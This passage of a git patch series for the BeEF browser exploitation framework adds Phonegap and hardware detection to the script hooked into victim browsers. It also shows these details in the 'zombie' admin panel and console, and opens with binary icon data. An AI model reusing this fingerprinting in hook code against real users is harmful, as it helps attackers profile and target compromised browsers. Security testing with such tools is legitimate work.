zz|WX5{Js3WV)8C6?to~~h!K8;$yWJz`mtNLk5atfRad`}IkM^U;^H93Y}rFO`q|XS z3IUsVE!XQ=>?fL}f2;{`nPQnKn`-4{?Ac|+Je4%hX6J_!t6F_GhfRufo@eD|#>z$) zph~oA#JY#!ztH({!@=25C^Yc4$kF@IWwF^Cm1QD+bqnks$44=Xuvxn3BJJvfmA+7{ z5(vM06>-s=Tef1`bkRN5mWoisl>o zMvbPq)hSBr<0Ye~oTX|Tz3;A$WUsgWBGG@0Diz}@rP8xLFXPggHD%l2sp2NxBt2GMtFe9+# zg_ZWII-NwxiDI)C(zjHH#?eBFKxh~q?-)v6#%85y>j-nPUe{xq`Sa({PL$j??^fm550yA zkci_vglw;wVyOCHN2)%{|BAP+YsDoXAiyWUl=R?U{8Ix6eF+UUtR3 z=`M?Yk@pG@Df3U9ysw!XVH*3*qWoLtR@Y-)@^Ue}TCCfpKDF=Sj4XT;M+V1!jKXG+ zjcC{LbMT@^k4XION|h110;EGed2v>XAC9y4whF!20L=ke^uN=*RGr)}O5xSu3%^5} zGQlqIO#<|NTN6kCe!CN&Tb`}*MTrsm`Mqca_+rb)etr7&UZv4Tp|>tce$!=_;TNUo zzR}X=z*hcW*?miI+4f)gPs{%dhZetSm3RM7%EY?St^ZfR^<;m`{!jjI9{)R;|MvR- g@A^Wa62;YtK~Z55gXHcm$3S0d%Gyem3KpUN1L6@UO#lD@ literal 0 HcmV?d00001 diff --git a/extensions/admin_ui/media/images/icons/iphone.jpg b/extensions/admin_ui/media/images/icons/iphone.jpg new file mode 100644 index 0000000000000000000000000000000000000000..134b5c9f9fa3d5585aee533fba542fe069d29010 GIT binary patch literal 1721 zcmbu6do#{Brx#q5|+%F9Y zMIy1xNOB~`t?6ubM&!C@W-F$s*%^C|{b&E!vpw&5-{(2+^FH76e4bY@BlsQ260HbU z0D>TJUbujO4GJw|$o>G>*Z?d500oec54)dv7p0o$pPs(|mrB1Is04J<@G zev^qrzDYn-Ecg|mQ9?{9ID`f;Gz3RO0tQeO(jouW7PTuf2nI(W#l%q(l2XD4?Xmy{ z!Qn6j9En5-hXch6^8kTH%Bks@iDB%$#SezbDMyy3kr*hOGR~N1a{$bjHBb!DmCy$C(q8Q`0lASZvPR z+xdlei%ZMAKi_}&xW2*v^jX9O0r<|y{*_BO1PF#ez!BmiE(ms61dc`^)%3*V%qyvo)-33Yu3u7Xean55z%1GWZFgtkrg-@uap7ugQjKU^%Z3l0fC4~_a7tUjUuwFY*|U7DX@-{!Id(cX;qbE3nN*zJnr3`Mj2LU!lQ%NiUXm7B zj+%M3NP2O*e(CG(vKQ~&GD0lq#dH!=FGQcrdhF%978YLb*)`0|lsb2eKHq!cPLYy= zo(YYatrUr!__6vpv9MvPp5Wq^F|jz2qmmue5*Ak)=dak^>PGJ3$34v^HOu_mNDZfz z`tgJCjhQ3dkKPwXmkolRUsZATRIJq?HLTBMovJBW(_B^Kd95dNb60D*_5ELUzf|<# zw#<2Z(&l(|1vEaL5!;;6t=$wX=eBj07uCHxo;{0E_L3#ze1oo&TS?12<+0EJ%*d&+ z#I_Np7QxuR;pikWvon5alC>VqI*&mQS8$4us(8Q|2}DWy8bR>S?`w4V&AfPr--5( zQ^S>Mbo;)yGg-a3oP*STFX_`613vh!2!<7S-VX>Oqc7gL3;VDhVj>S^tWla(zL|#^B6?6SM)r-SSo!ew?LJ5p=>ASs`>{5!S z-<;tOaxOAjc#iHXJ(|4eyv7w)Av0!U!12`6S{i{J^JY12sMWoSdQCms2`ib-lCVNk zO)Nl3^w)^1&PVosU-?Y zsp*+{wo31J?^jaDOtDo8H}y5}EpSfF$n>ZxN)4{^3rViZPPR-@vbR&PsjvbXkegbP zs8ErclUHn2VXFi-*9yo63F|80+w{G(j&jGsVi>$i&3L#o64=(A>n((8bNdz|hRe%+Yq3v0*Y)REP|r^ zO>!b4o!&jt=REE#77&`=vtY8%oHMih{6nLSf2?3%|KRV}{r~@_+DOVpPV!Pc|Af2M zOm%8+;*4pTY|AniW!Lh2xohfscuJ6{w6wH)*}EI}wB6kA&#}CEzkEZ8*2WbpTLUy& za&O-_Urt)IuKQXxx9+`fe=5Jpyf`wQ@o~BPi>&*{BFx(N zmr4HKRrcY<$M9QbYpx3&;^DP*S*akIVI$r@4F~@fM^$v1zGTxgzyJ8{?(aU~wOaK;OXjI*uK5>x zzbMTrdb3C80f!kv*J|S&Ji9l}w7(<&``i_mSx?W&yeu#DGQNCfn~v*`NnOi-Pcdql zcfI^@)4O}lA*WgW?*DgP@n7np^mL1BpBi#y-CxS>IC^dGYL1tz`(Dg+dFk1bI4B_mu{Xi&tBpGQ&axSn_a?cpI!gKuD2{qsMI7{F?hSnm3`BmhwrTWJhSZ5 zf=OpDlzcOY`=%d$`tzNg)0373ELl6@umP*1o%dF@kj6{ANXwJH^=7Sxo>A{ zBRO slZC_c_p43y5#qG=SgU^_mdKI;Vst0KP^Yj0A{Nd*>{h8Na4$pO$3;qqqmQ4dccI?=e zQ>RY-by<1Y&E@6gw_@Cm@so;*^1Cta#p`Vq6&3fFl$1Q6*Xy2qtVaPCYT))OljtFX4Z46Dlvu(pzEgf7oTAu%Lur{ zv4}0Eu}v?|Os0LEj9L{yR5aX^o*o}b(=)4!bLrKkxpZt{CcQL2$t})J z!u<3YOiv8KXfzCC!-L@Qcs|-#SJz)HIGZuP{_n@*@#VzYS{l_&eYLj2osBPZ>#IxL zxkQXRhu74nak@UUiW6H|zp`xr5Ty`tW&y2(5XcR^U zdM}I)4}i^PJ-#W5mzI|N-P)O0DzUZ%iPfd_`dS>?+YO*lC_vVz04at{p@hapIml#< zAeBl%f>BpjhhvS<+S&@u&CQ@ztJyVuP9zdReSJOX4F;H*nt%zk$Z&sea%3n1R=c@k z1N??-1TVeq%$XG~kw6=uHP&#E`Tbt#ba#T+=Lfeh0B)}j{5~IqLLnA`KmdZlAPe*? zxZQ3RbnW$e!H3Uwc6PGoW+umB9F-o5^dv{n=Qg|L^d^Cq+>VMvVr@Ciz%hgPeO{)X z9F-=;C8)GQE@vP0ePFektFIM& z!{f*AK(b3TX2DAj- zr)!-~hgNH66Q{{djgP_@f=9#M$>=~2ezv1_vlQP-ipSS7Rw0j*;smKssz9kygG{bO zAFH6LsfqcSd`w;^kIQ5-)+dkizE>)h>^^}{j16Nd?1#ZV0`DcoHx2xbwKcR#Vkw=7 zFL8-@#wse63W1tHtANtBQ8F>;J6lQt`(dq z?(=!Jo;#a>_{t(#1$b~?@kW^fTNP7~pj&VP1WalZB#qHMeiAe(YH8eq;KPIH?{E+F zg?!0KZx=1>s%rx0cdnkE&`-{;$6+NlpNb>+>V{P^o^1qes}8TV7p*`*r0k`B=Rs+* zq;x|=1DgP)MFJl{r3t*RI|yd8xoT4s@9qxX{nfcO^!8#pj&;ZiR(@{Wd{nAt-2Eg7 zNtr~0UZ#o2n9?)}0_QD3;4~Tj9<>VG11QH2M+X=DkYn=I0K)o;b~`jbSO#S6fOi;DQS~YGFAB?7(R#7HCcqN z=^mc~`E8#jLc&Xrl(2R$xo zhs6s02<~&)!EG@mLq0cw7hg3vsZH&C#4Q^{z=?2QasW>!Gk7+fn;ZpOM>`k|x{HeP zu%slZO5UbEsms?ayti386pApNwlMIXfFJw_-l0_|&G<8IHe1m(Sw$?a{{Et;ZPi{6ak@`765&|AxDMZ( z4Y~t9rnphloHXiM@#tnRyejaE8;_^s^-<+1XxaTzD%Me)Fbznku zOeP~cP*5-%Y}kTMI!2?B1wT$FA370HYciU^(543qwgm3M4b9cjp7din#OmG9zpOycos1q-5;nNcw7TcNh*G*0YLm3+QSpOU44#*ldAQ4C{!QGg0e$Y<$%DUs z62`jSu+SfZ^@taGbaDuLZ4d~!+1CpJuOGVTs|mjs!-t!R7sIy^9#qtY<1PsLocOF0 z{2n{_+?Yk27VvgjvF`wn%L-;=TgqhAA-L_+D+b4G!X6$9nwlcgVosR#RC3p2JGsS3 z2xk3mh}m?YF8T~qr%EB(*9FnR0W3?SSW^$c$Ur}y9kJiv579^%hWaDe_TtXi1%r`p z)<$}Rn70Ga+vS7qpodL_pj~!c6M9Y3Y%-8l_FgGCvx!hx`@IQ|W+7bj8CUhfKc%vE z+zku(OGfk>7?;+7D*JsXelH7b+GYd@LSG-AUN9F&db(MJySuR33vFEE{cb-4rRWKH z8E_Ea0uSx9nZRZ?KueP>)zYj0v&FpoioSwFf3q2Sou+5T%?%JfwLewN|*@RSt94W%pKW}qQ|CtAbC zY(lW4G66fRMrdnQfwW$bQnx4(-15;CDULQ_GaLw71mWgWoUi!f3kUz-U*2;&L<}P6 ztlAG9MQ^~-S097tAG#g#_r3=mIyE?PGa}`EE(c3(eorS*dFprLSf`z-%`1JWH7HDm zRHyxk#-v;${Fi?LaUH-yPxktZ!BRqfSk08=g3BE70 zL7V$3Yx@&?75` zk;X!BmV5xapWY5nZ2Mc-_x>BuB&h>)n+kV66H}7l2(r^*WIwg$4Ulj@;jJ)u?XabK4;xH~@q7 zpMjy^HTdB1d*P}3e~jR7f>cli?P@vhd`49B>yQ+r?xl;6pb5SmEk?jvwGvue6rfT_ zxO!1_s!>``R{4+1Rh&IgezIh%Ls@Y?(s%^AtM;V5Mel&|KVJmdhtEM+k_Q8l9MB)i zf=~Ya0eE)jR`~dhS3vY-IcVf{Si5L&p|vqU0wrKloIt5hprkV9>Wjcl@&*ECsw;7E z61cQM%-O8AM=wk9g9i^X@Z-md?lFstU|3!NOZu|(U`-Bm7k>!Db%$WQtrYrX1<>)u z2k_Z1AAz4gbQkPJ#Vbob2W5RVXq5GohZ!(s3LcVz79N2jAV<$AWObaZUclivhwvOi zbBz*FT3maYJf6la|GvvroXxDV;>7JXdCBklrMa+bJf zfN!DTrAOh{|GEP{dF^Gcy!bH4#WiWYrYYIprcR;_QV5ySwkT5?l{}50X_Zo%ZpIcD zU>X%pH=!*s{c&;`*6?+;Ai)p|tKjshlUU=_z=;zlet1QH=M;&BH~B1zQIBXZEZHhj zk(Of+Rvv*V{Ye;VDuQrB9$MuUsQulG@cPgG1zvyVNjR4MJ5Eqp$qvnCqaLkdWMS40B2i63D6F2sw%1}cA1^8@y5X|H zv$M0A>NcIs&~of8F09B)hE+$osQPn=s*XZbSp-4h0WciSg66{a;GJh5<8J=ejp>JO z{UJ9Ji9}=12b%)*d3x~u0q|<5tXQ$KgAhz3FF6ZCl_15Cz;yd#5 z^KUCGEV#9>u<%ER3k!cxP*Cta9RKsn{e$tP9X3mgq3J+FK^7QG-%5H!+0d^jg#O0E zFrYjNp6YCHf4LWw1-szz+b_e;zxmGjyT1DuP*rjA-Oc(tKEHck0eI$1e7nW)khJ&% zuKCbQX~(G#x$cG>h+zKil@)?lkOMu^BcMIL56XAH&As{9jtf73;5IHNd(W=D`?7D$ z&B^&QsxK%T{IS@`V*giMcQuN$sHr}ElTB7SQMd0o@Kk-6@(cFBU~@6_%8!CqbO`+Q zM?iVx6FB_ZFSy-LKYZb%ryu6ZjupL=lb5#z!EgMg{=?#HoqhZEG1bGJt#Z+x=Qu~% z+ZVjmyU{L3pr`RD*sDH+_LF;|a`$gw*E5g6`;Xn1-1Wo`@R+nU-}JwRe7&sQ@VV1! zc&jo0W!xoSN_Lii4E@rh;1}hCvFu||9eM-uvz~@uJ$fIP^^bRQ?>=&G+TEsr^XJc7 yrl+Q|78VwEE-cL7g6((b=jXqT?G67Q;QtLq+4p#KU8dpy0000r0I72+5bMk=HgzC>Nd#<^c&pc#HWD_yLgs5?&(#3F3v{z~v!`Br=K=$%^H~BtT+& zvvz__tU$buNXUA<_uF)LHRn60x_j2_Y-YwJc3P^fs@|@u@7%sRRl6oh68bDZ0e%=` z{^u9ZK7VS2s}uJK&XbQl`puEsUqbo8I)hF;@W4LWwsp&0MgGBu|Dh{au0oL`YyIA9 zH8752+PY=4NO?C4FaXQCF0|HTt)(U<|Sp2)H6@2fBbdwp{ofk1N=O3W-`qLBw>JGg zA4~b0W*=)3AnIHIn7dhW1*>a5_|R_hd_%s+#rMebT-($3mFttDdVFgHNFqW&DC>j} zL6ao!s|HlSgjQ)DSUR^r#1?24fYOB$`t!MesLK@9l_VCVt$oCRjBpxMkX-Y0NvyT> zEy*{j}PTdbQ1#+OPvoix!Jj#J9||$?iUNpN(Iq8 zw0{2bhr&ocyO(k9glF{XO$KEJs3?Ym+9s?Ni{kO`JZF{M#U%JM7mB)bq0Drk!q|#N z0P5i*Lz(8^IR8F<`Opq|@7<<-%60{H4be7h_l?ni^L$VWYuRe7Bu*d|!pa=!`rWxu zlLd^kfS8&`ynN;zrcTy8TcE(@udlz)76?=*-{<0qi&0aK1qA@Sm0(7I8WBQ4qj+K! zjSF?5JF-Bu$^u5gO8^>rF~k9Rr8%6n{a`vz(ojYJ7H3n zN_^7T&n?ik0L=qq@lDm%+0)n9?^XMLz|6zN1N%VxEDZerZx?UoS*~-DSYk*4rxu7~ z&k04VYGb@?{jLNEqmXySFbiS@z}a7{#d4rVk-7<(CyDeMaU*Cm@iOa?FqjeW&~6+h z4!p)dT4!;A820>ZePHR_0%2|eOlC9w)&)(h*kUjaz)NCll(87RvBp`zhzXSAbu5@C zj&-+AEs?vGu4B9)w?NpH3x%Akgie4!H3v}04t!SwV5A^@qeA!q%mN@5#5%B^+rq6? zE5HJAf9{P7ZA)&U<)W^1(ov8#w_Izv+Y*>!yVb4Z#~37Y9nK2`TtQ<|k)?l{;Y}SYSC5 zpwin*{q;KYev!ODwGICF{d6zTlNqv6?8X6H$TwLcsBXjHapFR%9_b0qV#AC>@pFqa z2!oBIh8)+^^`q`A5aj}}N?toX%D@=BUt(Y-t%Fkb&OQ8M6(8u2{EiK7>h>dEsO1;%emW~%VzG}4^P0!5M z<`))@x4IWy*M&}u{8Y66r7s?;;rH|N^EAl;g&J14etnz{92lmZJ9qG6{T$@wY;3t) zTGemPuND>-vOe0F^P`U@=aqF8RtUFaO`76!Z4?_Y3&GzCLNAp13(#8y~;X(h6%@;E5-HB-&@6 zuJ!fxilm^w^ppmQOQ}zGPWR+_4YQJ<^|TL{nx9`l%!n19 ze(LAbZCL=?A09qX+p*(wcbz{sFdOaPKU5nVyR@biS_lvx|N7CdQKeG3CpH0Kxp3h^ z`vQbvRJ(TVUFP-@&CSg*OH{a?XZEPl%7kkF8LD!Bb`}ifYu;}Y=Tds1 zYdp;~aZ1Bs$GG!F=0doV;jzY@;CVsff83*h5<1TV+IA`7z28fd4+m{!lwzCAQJIM|g7{p-E) z&IJJb^m1S}oHg31=hhM6r88&mD2Uq?05q~WjKq^eT^(XZJ6F>KHnLu|f0dR$I z7+W^LRCyD_scT^4M(Saz+_HI)GsY_2w{08MIeEK(*G_)7MSizw({ZDgBl9wcF*Xyzk;Bfm-94U}2Hw%EI9C-tBpu*IxslWW; znP(onm;R}P6Uf)x6(BHf=W+wvLz>J%fT}BH=SqHdXV~<&_)qakGeYayv2z_+zGV_|n_zTbK8lYV(YU_>DRFxr+MX<@t0C z^s~zO;qCQwNBZ*i``Nqu?(_J-nEBGi?n_er`up)-QSz(A@_=jj+vNQD_Vu#0``*mv zG=uy9|Ltp=@}sNeGkyI2{p?w5?L~}=EctE*>Sm(zsIu-*RrR~F>_k%db|&ja zT>99=`_{?$;M(qWobPFD@}08lR(tcElk|gi_S5A1`TFijLH3Gk_R8P&qI>$(&F@oO zY9s7@vh8h@`}X+ubS(A0!|hvh@uRx>^7HwZO!(H?^vc!hH(B}L)96%=@p)|d z&#Uu`ko96E?_Fs0TqOG4>*+pT^<^FV>F4;vtoC;@@rIi8Vk-86PUJ3s@0Y^$w!r=T z{O@ga_G&EkyS(BXeDYg5VaCr2qqx5Dq`}gzw@$>!j_x$wo^}*Tiwb1wD?)H^)?LJ2O(W~>5hvztb z=Qerw!N~ELpZLeY_sPobWP|EkfACL8>|~MaXPxISXXi9*=R9WSIBw`MVDXQc`N*Q` zUZeWWrt3~=_j)7t(8Kw9CGvog=tz+5K}YC6bN>DQ@MKZ<>NQpMk6`OQ zROe8S=~RL3T!!mdi}F(@@R61Ca8UDbTJ(Wg?PPoIa*q7<^zMA1_O6}gJ&*U;*7Kx@ z?N?;(R&V#u&G@r-`uqLtMr!F$m*!5I@qm5y!Ls+ryZO$&@RGRWAbyN|FTZF^_2uA(5u*D+?_%Mnb0(FufL8u5JOdu~H5<><3h|~`+I_SVdD!KGS!5I-e zM8P?s2qVM;XVvgPdkFcHL@GL10S*m39Akxo8n7WrAHHzl!ap1+AVgOfakhgJ7ZkVx zBs9#R#}(~#afKx-^%DX&(xf1gKN3*$ha>)QMgGZ)vx6V} z2;^oOVx)-x8N49*&lZvt;R;I!gp)uJ0wpns2}%s{1SC)JAchA2^fO8qMEJv7M47m- z&Nq?N

ylm@tStztFSA9JH|iQ%5I0kkbfDL9F6I2_-~w2Pr5p>PV~pm_q;wB(UQ{ zpq^wTM>b=Wa?dz6gj0_SZaUGx5dyiO&JZL#q1s3+L;*n)W0WzA1PuA(1Rvb~qe&J+ zbQsMeX*@K|LM~Wv$r@<5p@tk84)kuk{usd|FZ9qr#tK?uI0>&?g)bXi7bsgZq1~(|eLRUH+-Nq8rj8jQ7#ie1(9}UnG1dIex z1cDYfERewg1s^?z1!|OnF^&w4*b|N);_R>(f&NUQOaV6(kO8*+{1C+eZqVVy2z%I& z06MP}mr0!m=)<)Z*Yv}}B~{R2K_qSX?FHNsX;K^rTQ8uG2tD*r1;7KS(TG2qEM<@j vwJ^SbGZkCR3hXR>-p>K=6tKYpiu?e!@Cjv7mjMnSGYRw9hcCYH0RaFzI3Jfs literal 0 HcmV?d00001 diff --git a/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js b/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js index 964e586a4..6f7d02f50 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js +++ b/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js @@ -28,6 +28,8 @@ var ZombiesMgr = function(zombies_tree_lists) { var browser_icon = zombie_array[index]["browser_icon"]; var os_icon = zombie_array[index]["os_icon"]; var os_name = zombie_array[index]["os_name"]; + var hw_name = zombie_array[index]["hw_name"]; + var hw_icon = zombie_array[index]["hw_icon"]; var domain = zombie_array[index]["domain"]; var port = zombie_array[index]["port"]; var has_flash = zombie_array[index]["has_flash"]; @@ -36,11 +38,13 @@ var ZombiesMgr = function(zombies_tree_lists) { text = " "; text+= " "; + text+= " "; text+= ip; balloon_text = "IP: "+ip; balloon_text+= "
Browser: " + browser_name + " " + browser_version; balloon_text+= "
System: " + os_name; + balloon_text+= "
Hardware: " + hw_name; balloon_text+= "
Domain: " + domain + ":" + port; balloon_text+= "
Flash: " + has_flash; balloon_text+= "
Web Sockets: " + has_web_sockets; diff --git a/extensions/console/lib/shellinterface.rb b/extensions/console/lib/shellinterface.rb index a896184cb..4251347cd 100644 --- a/extensions/console/lib/shellinterface.rb +++ b/extensions/console/lib/shellinterface.rb @@ -358,6 +358,21 @@ class ShellInterface summary_grid_hash['results'].push(page_name_row) # add the row end + # set and add the return values for the os name + hw_name = BD.get(self.targetsession, 'Hardware') + if not hw_name.nil? + encoded_hw_name = CGI.escapeHTML(hw_name) + encoded_hw_name_hash = { 'Hardware' => encoded_hw_name } + + page_name_row = { + 'category' => 'Host', + 'data' => encoded_hw_name_hash, + 'from' => 'Initialization' + } + + summary_grid_hash['results'].push(page_name_row) # add the row + end + # set and add the return values for the browser name browser_name = BD.get(self.targetsession, 'BrowserName') if not browser_name.nil? From d5acc6409eb73feff5ace32253d55147a4ff02df Mon Sep 17 00:00:00 2001 From: bcoles Date: Mon, 25 Jun 2012 11:04:19 +0930 Subject: [PATCH 06/13] Added beef.browser.hasPhonegap() Added hasPhonegap() and hasGooglegears() to balloon messages Updated os in module configs from "iPhone" to "iOS" --- core/main/client/browser.js | 15 ++++++ core/main/handlers/browserdetails.rb | 8 ++++ .../admin_ui/controllers/modules/modules.rb | 15 ++++++ .../admin_ui/controllers/panel/panel.rb | 26 +++++----- .../media/javascript/ui/panel/ZombiesMgr.js | 48 ++++++++++--------- extensions/console/lib/shellinterface.rb | 15 ++++++ .../mobilesafari_address_spoofing/config.yaml | 2 +- .../host/detect_google_desktop/config.yaml | 2 +- modules/host/get_system_info/config.yaml | 2 +- modules/host/hook_default_browser/config.yaml | 2 +- modules/host/iphone_tel/config.yaml | 2 +- 11 files changed, 99 insertions(+), 38 deletions(-) diff --git a/core/main/client/browser.js b/core/main/client/browser.js index 9a243aad4..2e82f5de6 100644 --- a/core/main/client/browser.js +++ b/core/main/client/browser.js @@ -551,6 +551,19 @@ beef.browser = { }, + /** + * Checks if the Phonegap API is available from the hooked domain. + * @return: {Boolean} true or false. + * + * @example: if(beef.browser.hasJava()) { ... } + */ + hasPhonegap: function() { + var result = false; + try { if (!!device.phonegap) result = true; else result = false; } + catch(e) { result = false; } + return result; + }, + /** * Checks if the zombie has Java installed and enabled. * @return: {Boolean} true or false. @@ -773,6 +786,7 @@ beef.browser = { var java_enabled = (beef.browser.javaEnabled())? "Yes" : "No"; var vbscript_enabled=(beef.browser.hasVBScript())? "Yes" : "No"; var has_flash = (beef.browser.hasFlash())? "Yes" : "No"; + var has_phonegap = (beef.browser.hasPhonegap())? "Yes" : "No"; var has_googlegears=(beef.browser.hasGoogleGears())? "Yes":"No"; var has_web_socket=(beef.browser.hasWebSocket())? "Yes":"No"; var has_activex = (typeof(window.ActiveXObject) != "undefined") ? "Yes":"No"; @@ -799,6 +813,7 @@ beef.browser = { if(java_enabled) details['JavaEnabled'] = java_enabled; if(vbscript_enabled) details['VBScriptEnabled'] = vbscript_enabled if(has_flash) details['HasFlash'] = has_flash + if(has_phonegap) details['HasPhonegap'] = has_phonegap if(has_web_socket) details['HasWebSocket'] = has_web_socket if(has_googlegears) details['HasGoogleGears'] = has_googlegears if(has_activex) details['HasActiveX'] = has_activex; diff --git a/core/main/handlers/browserdetails.rb b/core/main/handlers/browserdetails.rb index 1ca83f165..9a5f27946 100644 --- a/core/main/handlers/browserdetails.rb +++ b/core/main/handlers/browserdetails.rb @@ -230,6 +230,14 @@ module BeEF self.err_msg "Invalid value for HasFlash returned from the hook browser's initial connection." end + # get and store the yes|no value for HasPhonegap + has_phonegap = get_param(@data['results'], 'HasPhonegap') + if BeEF::Filters.is_valid_yes_no?(has_phonegap) + BD.set(session_id, 'HasPhonegap', has_phonegap) + else + self.err_msg "Invalid value for HasPhonegap returned from the hook browser's initial connection." + end + # get and store the yes|no value for HasGoogleGears has_googlegears = get_param(@data['results'], 'HasGoogleGears') if BeEF::Filters.is_valid_yes_no?(has_googlegears) diff --git a/extensions/admin_ui/controllers/modules/modules.rb b/extensions/admin_ui/controllers/modules/modules.rb index 827f6c241..6fce2a02c 100644 --- a/extensions/admin_ui/controllers/modules/modules.rb +++ b/extensions/admin_ui/controllers/modules/modules.rb @@ -346,6 +346,21 @@ class Modules < BeEF::Extension::AdminUI::HttpController summary_grid_hash['results'].push(page_name_row) # add the row end + # set and add the yes|no value for hasPhonegap + has_phonegap = BD.get(zombie_session, 'hasPhonegap') + if not has_phonegap.nil? + encoded_has_phonegap = CGI.escapeHTML(has_phonegap) + encoded_has_phonegap_hash = { 'Has Phonegap' => encoded_has_phonegap } + + page_name_row = { + 'category' => 'Browser', + 'data' => encoded_has_phonegap_hash, + 'from' => 'Initialization' + } + + summary_grid_hash['results'].push(page_name_row) # add the row + end + # set and add the yes|no value for HasGoogleGears has_googlegears = BD.get(zombie_session, 'HasGoogleGears') if not has_googlegears.nil? diff --git a/extensions/admin_ui/controllers/panel/panel.rb b/extensions/admin_ui/controllers/panel/panel.rb index 56b6a708c..6c101681a 100644 --- a/extensions/admin_ui/controllers/panel/panel.rb +++ b/extensions/admin_ui/controllers/panel/panel.rb @@ -85,17 +85,19 @@ class Panel < BeEF::Extension::AdminUI::HttpController # create a hash of simple hooked browser details def get_simple_hooked_browser_hash(hooked_browser) - browser_name = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'BrowserName') - browser_version = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'BrowserVersion') - browser_icon = BeEF::Core::Models::BrowserDetails.browser_icon(hooked_browser.session) - os_icon = BeEF::Core::Models::BrowserDetails.os_icon(hooked_browser.session) - os_name = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'OsName') - hw_icon = BeEF::Core::Models::BrowserDetails.hw_icon(hooked_browser.session) - hw_name = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'Hardware') - domain = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HostName') - has_flash = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasFlash') - has_web_sockets = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasWebSocket') - date_stamp = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'DateStamp') + browser_name = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'BrowserName') + browser_version = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'BrowserVersion') + browser_icon = BeEF::Core::Models::BrowserDetails.browser_icon(hooked_browser.session) + os_icon = BeEF::Core::Models::BrowserDetails.os_icon(hooked_browser.session) + os_name = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'OsName') + hw_icon = BeEF::Core::Models::BrowserDetails.hw_icon(hooked_browser.session) + hw_name = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'Hardware') + domain = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HostName') + has_flash = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasFlash') + has_web_sockets = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasWebSocket') + has_googlegears = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasGoogleGears') + has_phonegap = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasPhonegap') + date_stamp = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'DateStamp') return { 'session' => hooked_browser.session, @@ -111,6 +113,8 @@ class Panel < BeEF::Extension::AdminUI::HttpController 'hw_name' => hw_name, 'has_flash' => has_flash, 'has_web_sockets' => has_web_sockets, + 'has_googlegears' => has_googlegears, + 'has_phonegap' => has_phonegap, 'date_stamp' => date_stamp } diff --git a/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js b/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js index 6f7d02f50..e161c8209 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js +++ b/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js @@ -21,34 +21,38 @@ var ZombiesMgr = function(zombies_tree_lists) { // this is a helper class to create a zombie object from a JSON hash index this.zombieFactory = function(index, zombie_array){ - var ip = zombie_array[index]["ip"]; - var session = zombie_array[index]["session"]; - var browser_name = zombie_array[index]["browser_name"]; - var browser_version = zombie_array[index]["browser_version"]; - var browser_icon = zombie_array[index]["browser_icon"]; - var os_icon = zombie_array[index]["os_icon"]; - var os_name = zombie_array[index]["os_name"]; - var hw_name = zombie_array[index]["hw_name"]; - var hw_icon = zombie_array[index]["hw_icon"]; - var domain = zombie_array[index]["domain"]; - var port = zombie_array[index]["port"]; - var has_flash = zombie_array[index]["has_flash"]; - var has_web_sockets = zombie_array[index]["has_web_sockets"]; - var date_stamp = zombie_array[index]["date_stamp"]; + var ip = zombie_array[index]["ip"]; + var session = zombie_array[index]["session"]; + var browser_name = zombie_array[index]["browser_name"]; + var browser_version = zombie_array[index]["browser_version"]; + var browser_icon = zombie_array[index]["browser_icon"]; + var os_icon = zombie_array[index]["os_icon"]; + var os_name = zombie_array[index]["os_name"]; + var hw_name = zombie_array[index]["hw_name"]; + var hw_icon = zombie_array[index]["hw_icon"]; + var domain = zombie_array[index]["domain"]; + var port = zombie_array[index]["port"]; + var has_flash = zombie_array[index]["has_flash"]; + var has_web_sockets = zombie_array[index]["has_web_sockets"]; + var has_googlegears = zombie_array[index]["has_googlegears"]; + var has_phonegap = zombie_array[index]["has_phonegap"]; + var date_stamp = zombie_array[index]["date_stamp"]; text = " "; text+= " "; text+= " "; text+= ip; - balloon_text = "IP: "+ip; - balloon_text+= "
Browser: " + browser_name + " " + browser_version; - balloon_text+= "
System: " + os_name; - balloon_text+= "
Hardware: " + hw_name; - balloon_text+= "
Domain: " + domain + ":" + port; - balloon_text+= "
Flash: " + has_flash; - balloon_text+= "
Web Sockets: " + has_web_sockets; - balloon_text+= "
Date: " + date_stamp; + balloon_text = "IP: " + ip; + balloon_text+= "
Browser: " + browser_name + " " + browser_version; + balloon_text+= "
System: " + os_name; + balloon_text+= "
Hardware: " + hw_name; + balloon_text+= "
Domain: " + domain + ":" + port; + balloon_text+= "
Flash: " + has_flash; + balloon_text+= "
Web Sockets: " + has_web_sockets; + balloon_text+= "
Google Gears: " + has_googlegears; + balloon_text+= "
Phonegap API: " + has_phonegap; + balloon_text+= "
Date: " + date_stamp; var new_zombie = { 'id' : index, diff --git a/extensions/console/lib/shellinterface.rb b/extensions/console/lib/shellinterface.rb index 4251347cd..f810c042e 100644 --- a/extensions/console/lib/shellinterface.rb +++ b/extensions/console/lib/shellinterface.rb @@ -550,6 +550,21 @@ class ShellInterface summary_grid_hash['results'].push(page_name_row) # add the row end + # set and add the yes|no value for HasPhonegap + has_phonegap = BD.get(self.targetsession, 'HasPhonegap') + if not has_phonegap.nil? + encoded_has_phonegap = CGI.escapeHTML(has_phonegap) + encoded_has_phonegap_hash = { 'Has Phonegap' => encoded_has_phonegap } + + page_name_row = { + 'category' => 'Browser', + 'data' => encoded_has_phonegap_hash, + 'from' => 'Initialization' + } + + summary_grid_hash['results'].push(page_name_row) # add the 